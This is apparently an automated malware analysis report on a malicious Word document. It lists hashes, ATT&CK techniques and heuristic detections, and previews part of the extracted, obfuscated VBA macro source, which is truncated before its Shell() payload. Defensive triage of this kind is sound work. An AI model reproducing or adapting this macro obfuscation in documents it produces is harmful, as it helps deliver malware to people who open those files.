Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ce60d35ffb234c3…

MALICIOUS

Office (OLE)

81.5 KB Created: 2017-10-24 05:44:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 6a7d2f8b4b439a0262419c3601cd4c1f SHA-1: 4a61a88df8a265981893310a8379aef977f6ba41 SHA-256: 8ce60d35ffb234c3e2baea0889cbef2747e62a7452ccc433886682ad23d3dc72
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and a Shell() call, indicating an attempt to execute arbitrary code. This is further supported by ClamAV detection and heuristic firings related to obfuscation and auto-execution. The specific obfuscation and payload delivery mechanism are not fully discernible due to truncation, but the intent is to execute a secondary stage.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15855 bytes
SHA-256: 631bf2090382b2c74ef64861da3325ff465e461479dd14522f3de2bd39b229d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 39 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function dZOzuXVAP()
wzYlQDaM = "19USkHcJYKEQsDjZnVZMiVFpFTnsanOFSOAwFSovZEoHCjiCOFwzXimKcOMRUkilvwzdCnTVjdnahwmZlldUrPiocqTrFXboVCLDiEzambStrMddbnjiGOujQJBMTY69W97UBMUI0S"
tcmNfu = Mid(wzYlQDaM, 4, 122)
TXqlRAStlGp = tcmNfu
NpIpud = "30dHuTtGdHBcrIN76TEZJ5S3L7R1JCH7XW5BD7SR2"
MiuMv = Mid(NpIpud, 3, 11)
YYbGwfjUGAF = MiuMv
rqjpjzTpHpD = "L2EzpQnPGaXmbIRdBQwivDTnDEwIYIdJlZUZjKSjSUKSAQJwAQVuijwpkQtlUfrzwOABnstrzPQbsAmmuzHInjaEdfoSQjPncNWmPIJIWiwTQVwkdGrUXjJNnvYIDbaRAcwfiAXmqzlJmHoIiEoJpuPtDJwTjAEvDfTnWRFdjEiYzAajHPZznRbFNFbVBDCpuqGGnAlRwKakPrvCiRMTbFIlDNaRpkbfCpXEVH0AGZFQ01PKIUQS"
rukVjaEW = Mid(rqjpjzTpHpD, 3, 224)
UCvCUtivF = rukVjaEW
DUNhjRX = "KHCEIXrjzAzLvPqokJnLlSFqhcpfJWTfdMnUzNnGzzUflUaoIfHkMGGNtwJLKCPW8CN61VS"
nmPFpuBdjJ = Mid(DUNhjRX, 7, 55)
DHOTqvSHXU = nmPFpuBdjJ
znJpBXlQ = "GXU4OI0AmIzhftUMRkNEntVNOOdHAiJcpluCUmlYNwtiiPNfvETTnEcGrjUjijWDzUstzRrfwoqoA8GBJ0BEBOU6V"
ATWQfC = Mid(znJpBXlQ, 9, 69)
CRfwfAjT = ATWQfC
YDwSsnYAi = "LVFQ46VRB23DI6UF599V3I8KWFWR684aNnIOYFpUDfuNXEHQzroTcnYZQTjJfnszIQIWQZLmsslCapCWNMPsGOwZOjzFYjpPnzFHvkzYjBbjCWwbQKvTYAqtSi8KC6HK"
vSXRw = Mid(YDwSsnYAi, 32, 91)
jjtPzwsZGpL = vSXRw
mrwYUwzl = "URQqqWKZnkriNpiUDZaUcNjuiJBLDRM72JSM7G6"
KZLDcKtG = Mid(mrwYUwzl, 4, 22)
nTdXhAskh = KZLDcKtG
BJUGYf = "04JNjMiGdApImQlrkraBFjFaAVfBOJvOiJdDVsjEsZomBhociEwOrZantZKKhjrTFadcniWrHVIjrSYShCTKLjXFjpJviZXLhUjbELpAiHHVQtwbBrdiNhIZDXtzYaIiwwwXlzOWNTbDZBpptiurvtwAMHYjSrbIwZXTvYpDcGQtFEABiDEqfRmEwzKiZiDWrTFzdWuUsqOpdEvHHWwPnkcjnTVzNLiuDuBmzAXMIjwoCzbtCDWDkojHqZMKAzWHSUNO"
jEjomPGwPJv = Mid(BJUGYf, 5, 250)
kQwPXkCin = jEjomPGwPJv
wmOnHbSJMPX = "7FUPB9BAvVjMUAjzwuMUjlPwAtzJznjthuoWTMPIzWUwvUblcLYVFoZuFKoRTRCHmqiaMKfjfEXMQQCfRNhmONntVuRIYzofTMMFpBZRfoqBRMdoHIzGkQtYClFRtXKhPrsEEAUB"
sEtwVVA = Mid(wmOnHbSJMPX, 8, 125)
jQBlL = sEtwVVA
VmpzdvEb = "R24J11W6JIE6W1MTGDXLPHAMachRijbVpWVjLlzZENCBWdOiTWFabAEbwmZrwUlqNmplOfvVPUtvJJqwOwzMiAupRtkYMFakbLnjndTnakLGGISnwcdzWZMMsATVvWIJtITwVGJkfKltpniJbzckcbOCwbrnKwrEbBNzoURqStULnSXERKtwuYhSuRzuPWZjShSnakUHflRiGCOfDnVAFtJCTvDXUXbwTotGAjihpmSIHwLrCTqcAZbYXPTfjwmIKUPSJIfUIoKSb8CIZAUK2"
DPnYazjn = Mid(VmpzdvEb, 24, 246)
jEFBbCFiOF = DPnYazjn
SjiPCi = "YCSdzZQpvkJFECUcILLYzoMNGPXFJPFzUfASOvuFbYjOiXubOsjXvCusqFWjBKfjiJkZCBNNRGwbFzijUwrRfiDDDPQOLWHM562R"
BYVUKnszjz = Mid(SjiPCi, 2, 86)
ZiWHBBj = BYVUKnszjz
frIAFGsC = "H46UVBDFXGhMUliCIIHwlGDmodprbuKobJOLuwZnNLLcQciLsquuPEwifUCvXSZDwskKXXIMiTlavbVLvizlzPZWLffauiQulHjYrXnUiiMvTXnDwqAsTnDjTOzrrhSEDqonvzUXrfCRDdCnsbbDiYawEzEdXvcAPIsdizIAWcBoklcpLLzPGOZfPqivtqzvCCCvkZFsTahBWmNTWOSLwMtAiNNrRNHfcGliihElGGwjhXIddPYiYnwqIBMXMNbFSCZQAikpJjFqPNTKEjOCpdGoHvahUhYtirNiwrcwijUriHauhG0V"
qcKkaoLicjw = Mid(frIAFGsC, 10, 296)
wouvcrwFBv = qcKkaoLicjw
aSHGG = "REYOHhbFNLDWPdkvacMrLEnOXskVpOlVrmGLpMdRwaoPffGVqVjSGjomFDLOzGQwaiicXYGOzuukQYjrlPfTfTPLzTGlBPUqKpozBdzSOUTLlDWjTTchawTGSTfDSUMkaEaajmqHRNEKADZtzZShmmPNWiiiwuzuHilhdvzhdUQNrIGPulFsCfznoMEBIHJXNKDRRrQCclERWBWNbOoMoHsclzsQrvYVLsAhFpzCVDQRbfRnqqatTwjFSafUzzK9Y5DRSV8XL6"
jCNFcOvzw = Mid(aSHGG, 5, 251)
TvhXKNdjJmw = jCNFcOvzw
End Function
Function VLqiiNXUl()
cXkpLB = "NKAAwADsANAAxADwANAA0AC0AMwAyADwAMwA2ACEAMQAxADIALQA5ADcALQAxADEANgB3ADEAMAA0AFIANAAxAFIANQA5AHcAOAAzADsAMQAxADYAPgA5ADcAPAAxADEANABFADEAMQA2ADsANAA1AC0AOAAwAHcAMQAxADQALQAxADEAMQA8ADkAOQAhADEAMAAxAD4AMQAxADUAPgAxADEANQA+ADMAMgBoADMANgA7ADEAMQAyACEAOQA3ADsAMQAxADYAdwAxCHNUK4GVEZ"
qKMbD = Mid(cXkpLB, 3, 267)
lspKLmY = qKMbD
DZjzhCR = "Z3sANQBdACsAJwBYACcAKQA=I2JVYJSTN0"
cHdLHJ = Mid(DZjzhCR, 3, 22)
LwaHH = cHdLHJ
vXNGYMoqwQ = "B9AC0AMwAyAHsAMQAxADQAewA5ADcAIQAxADEAMABFADEAMAAwAEUAMQAxADEAPAAxADAAOQB7ADUAOQA7ADMANgAtADEAMQA3AEUAMQAxADQAdwAxADAAOAAhADEAMQA1ADsAMwAyADwANgAxAEUAMwAyAHsAMwA5AEUAM8JMWV5KDNL6KTC3OWF"
BAssKu = Mid(vXNGYMoqwQ, 3, 165)
tBDCzGpTq = BAssKu
QEVIG = "EBVAIJQEB
... (truncated)

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